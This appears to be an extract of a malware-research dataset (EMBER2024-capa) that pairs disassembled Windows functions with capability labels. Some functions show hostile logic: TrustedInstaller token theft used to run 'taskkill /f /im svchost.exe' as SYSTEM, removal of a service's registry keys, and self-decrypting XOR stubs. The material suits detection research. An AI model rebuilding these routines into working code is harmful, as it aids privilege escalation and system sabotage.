joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 2
jne 0x401181
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [eax + 4]
mov ecx, str._clear
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40104e
test dx, dx
je 0x40104a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40104e
add eax, 4
add ecx, 4
test dx, dx
jne 0x401028
xor eax, eax
jmp 0x401053
sbb eax, eax
sbb eax, 0xffffffff
push edi
test eax, eax
jne 0x401119
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push ebx
lea ecx, [ebp - 0x30]
push ecx
push 0xf003f
push eax
push str.SYSTEMControlSet001ServicesSUService
push 0x80000002
mov dword [ebp - 0x30], eax
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40109e
push str.SYSTEMControlSet001ServicesSUService
push 0x80000002
call edi
mov edx, dword [ebp - 0x30]
push edx
call ebx
lea eax, [ebp - 0x30]
push eax
push 0xf003f
push 0
push str.SYSTEMControlSet002ServicesSUService
push 0x80000002
mov dword [ebp - 0x30], 0
call esi
test eax, eax
jne 0x4010d2
push str.SYSTEMControlSet002ServicesSUService
push 0x80000002
call edi
mov ecx, dword [ebp - 0x30]
push ecx
call ebx
lea edx, [ebp - 0x30]
push edx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesSUService
push 0x80000002
mov dword [ebp - 0x30], 0
call esi
test eax, eax
jne 0x401106
push str.SYSTEMCurrentControlSetServicesSUService
push 0x80000002
call edi
mov eax, dword [ebp - 0x30]
push eax
call ebx
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012a4
mov esp, ebp
pop ebp
ret
mov ecx, str.kill
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401146
test dx, dx
je 0x401142
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401146
add eax, 4
add ecx, 4
test dx, dx
jne 0x401120
xor eax, eax
jmp 0x40114b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40116f
mov ecx, 7
mov esi, str.suservice.exe
lea edi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
call fcn.004011a0
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012a4
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.004012a4
mov esp, ebp
pop ebp
ret
Function at 0x4011a0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x228
lea eax, [ebp - 0x22c]
push ebx
push eax
mov esi, ecx
mov dword [ebp - 0x230], ebx
call fcn.00404690
add esp, 0xc
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4011fb
pop edi
pop esi
mov eax, 0x25b
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012a4
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x230]
push ecx
push edi
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40123b
push esi
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x401269
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401217
mov esi, 0x260
test edi, edi
je 0x40124b
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x401256
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.004012a4
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x228]
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x40129d
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esi, eax
neg esi
sbb esi, esi
and esi, 0xfffffda2
add esi, 0x25e
jmp 0x401240
mov esi, 0x25f
jmp 0x401240

Function at 0x4012a4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x409004]
jne 0x4012ae
repz ret
jmp fcn.00401447
Function at 0x40324b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004021a9
and dword [ebp - 0x14], 0
cmp dword [0x40a84c], 0
mov dword [ebp - 0x18], eax
jne 0x4032fe
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4033a6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4033a6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40a84c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40a850], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40a854], eax
call edi
push eax
call esi
mov dword [0x40a85c], eax
test eax, eax
je 0x4032fe
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40a858], eax
mov eax, dword [0x40a858]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403357
cmp dword [0x40a85c], ecx
je 0x403357
push eax
call esi
push dword [0x40a85c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403357
test ebx, ebx
je 0x403357
call edi
test eax, eax
je 0x40334e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40334e
test byte [ebp - 8], 1
jne 0x403357
or dword [ebp + 0x10], 0x200000
jmp 0x40338a
mov eax, dword [0x40a850]
cmp eax, dword [ebp - 0x18]
je 0x40338a
push eax
call esi
test eax, eax
je 0x40338a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40338a
mov eax, dword [0x40a854]
cmp eax, dword [ebp - 0x18]
je 0x40338a
push eax
call esi
test eax, eax
je 0x40338a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40a84c]
call esi
test eax, eax
je 0x4033a6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4033a8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004012a4
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x51120e
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
call fcn.0056a160
pop ecx
test eax, eax
jne 0x511250
push dword [ebp - 4]
push dword [ebp + 0xc]
push dword [ebp + 8]
push str._s_s_X.tmp
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.00417b4d
add esp, 0x18
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x511216
leave
ret
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
leave
ret

Function at 0x571cef
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00571b65

Function at 0x40894c
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x4085d8
mov edx, ebx
call fcn.00408980
or ebx, ebx
xor dword [esi], edi
mov ebx, edx
add esi, 1
dec edx
cmp esi, ecx
jne fcn.0040894c
add ebx, 1
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401460
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov dword [ebp - 0x23c], 0x22c
mov dword [esp + 4], 0
mov dword [esp], 2
call sym._CreateToolhelp32Snapshot_8
sub esp, 8
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x23c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._Process32FirstW_8
sub esp, 8
mov dword [ebp - 0xc], eax
jmp 0x4014fa
lea eax, [ebp - 0x23c]
add eax, 0x24
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._lstrcmpW_8
sub esp, 8
test eax, eax
jne 0x4014df
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x234]
jmp 0x401500
lea eax, [ebp - 0x23c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._Process32NextW_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jg 0x4014aa
leave
ret

Function at 0x401502
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov dword [esp], 4
call sym._CreateToolhelp32Snapshot_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x28], 0x1c
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._Thread32First_8
sub esp, 8
jmp 0x40154d
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp + 8]
jne 0x40154d
mov eax, dword [ebp - 0x20]
jmp 0x401566
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._Thread32Next_8
sub esp, 8
test eax, eax
jne 0x401540
leave
ret
Function at 0x40167b
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov dword [esp + 8], 0xf003f
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._OpenSCManagerW_12
sub esp, 0xc
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], str.TrustedInstaller
mov dword [esp + 8], 0x14
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._OpenServiceW_12
sub esp, 0xc
mov dword [ebp - 0x18], eax
jmp 0x401720
mov eax, dword [ebp - 0x44]
cmp eax, 1
jne 0x4016f7
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._StartServiceW_12
sub esp, 0xc
mov dword [ebp - 0x1c], eax
jmp 0x401720
mov eax, dword [ebp - 0x44]
cmp eax, 2
jne 0x401710
mov dword [esp], 0xfa
call sym._Sleep_4
sub esp, 4
jmp 0x401720
mov eax, dword [ebp - 0x44]
cmp eax, 4
jne 0x401720
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xc], eax
jmp 0x401754
lea eax, [ebp - 0x4c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x24
lea eax, [ebp - 0x48]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._QueryServiceStatusEx_20
sub esp, 0x14
test eax, eax
jne 0x4016cc
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFirstThreadId
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x200
call sym._OpenThread_12
sub esp, 0xc
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x54], 2
mov dword [ebp - 0x58], 0xc
call sym._GetCurrentThread_0
mov edx, eax
lea eax, [ebp - 0x58]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._NtImpersonateThread_12
sub esp, 0xc
call sym._GetCurrentThread_0
mov dword [esp + 0xc], 0x408070
mov dword [esp + 8], 0
mov dword [esp + 4], 0xf00ff
mov dword [esp], eax
call sym._OpenThreadToken_16
sub esp, 0x10
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x4017f8
Capabilities:
Acquire debug privileges
Create process on windows
Create process suspended
Impersonate user

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0xb4
call sym.___main
call sym._GetCurrentProcess_0
mov edx, eax
lea eax, [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x28
mov dword [esp], edx
call sym._OpenProcessToken_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401845
mov eax, 1
jmp 0x4019b3
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], 1
mov dword [esp + 4], str.SeDebugPrivilege
mov dword [esp], eax
call sym._SetPriviliges
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], 1
mov dword [esp + 4], str.SeImpersonatePrivilege
mov dword [esp], eax
call sym._SetPriviliges
call sym._ImpersonateSystem
call sym._StartAndAcquireToken
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0xc
mov eax, dword [0x408070]
lea edx, [ebp - 0x2c]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 2
lea edx, [ebp - 0x28]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x2000000
mov dword [esp], eax
call sym._DuplicateTokenEx_24
sub esp, 0x18
mov dword [ebp - 0x10], str.WinSta0Default
mov dword [ebp - 0x70], 0x44
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x68], eax
mov word [ebp - 0x3e], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x64], 0
mov word [ebp - 0x40], 0
mov dword [ebp - 0x14], str.cmd.exe
mov dword [ebp - 0x18], str._C_taskkill__f__im_svchost.exe
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x80]
mov dword [esp + 0x20], edx
lea edx, [ebp - 0x70]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x400
mov edx, dword [ebp - 0x18]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x14]
mov dword [esp + 8], edx
mov dword [esp + 4], 1
mov dword [esp], eax
call sym._CreateProcessWithTokenW
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x4020a0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x4020eb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x4020e4
test esi, esi
je 0x4020e4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4020c0
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4022d0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402320
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4023f8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40235e
cmp eax, 4
jne 0x402380
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40236e
cmp edx, 4
je 0x40236e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004022d0
Function at 0x40605a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x40607e
xor eax, eax
test eax, eax
je 0x406090
cmp byte [ebp + eax - 0x121], 0x5c
je 0x406090
xor ecx, ecx
jmp 0x406093
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x409014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x40613d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42bdfc], 0
push esi
jne 0x406174
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x40614e
mov dword [ecx*4 + 0x42bdf8], eax
inc ecx
cmp ecx, 0x100
jl 0x406149
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4061a5
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42bdf8]
xor eax, esi
inc ecx
dec edx
jne 0x406187
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4015cf
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebx
push ebp
push esi
mov ebx, dword [sym.imp.MSVCRT.dll_wcsncpy]
push edi
mov edi, dword [esp + 0x18]
push 0x100
mov esi, 0x4030e4
push dword [edi]
push esi
call ebx
push 0x4030c0
push esi
call dword [sym.imp.MSVCRT.dll__wstat]
add esp, 0x14
jmp loc.00408000

Function at 0x40170f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402088
push 0x401850
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x403cf8], 0xffffffff
or dword [0x403cfc], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x403cf4]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x403cf0]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x403d00], eax
call fcn.00401841
cmp dword [0x4030b0], 0
jne 0x401792
push 0x40183e
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.0040182c
push 0x40300c
push 0x403008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x403cec]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x403ce8]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___wgetmainargs]
push 0x403004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___winitenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.004015cf
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x47f3f0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x484494]
cmp dword [eax + 0x28], 0
jne 0x47f408
xor eax, eax
jmp 0x47f537
mov ecx, dword [0x484414]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
add edx, 0xe
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
mov dword [0x484408], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
mov dword [0x484404], eax
push 0
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x10], eax
push 1
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x18], eax
mov ecx, dword [0x484408]
mov dword [ebp - 0x40], ecx
mov edx, dword [0x484404]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x40]
shr eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 8]
shr ecx, 1
mov dword [ebp - 0x1c], ecx
push 0
mov edx, dword [0x48448c]
push edx
push 0
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0x80000000
push 0x483604
push 0x483620
push 0x88
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [0x484400], ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.USER32.dll_GetDC]
push eax
call fcn.0047f330
push 5
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x47f3c0
mov edx, dword [0x484494]
mov eax, dword [edx + 0x34]
imul eax, eax, 0x3e8
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [0x48440c], eax
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x3c]
push ecx
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x47f537
cmp dword [ebp - 0x38], 0x12
jne 0x47f52b
mov dword [0x48441c], 0
call fcn.0047f540
xor eax, eax
jmp 0x47f537
lea edx, [ebp - 0x3c]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x47f4fc
mov esp, ebp
pop ebp
ret 4

Function at 0x480840
Capabilities:
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebp
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
pop ebp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]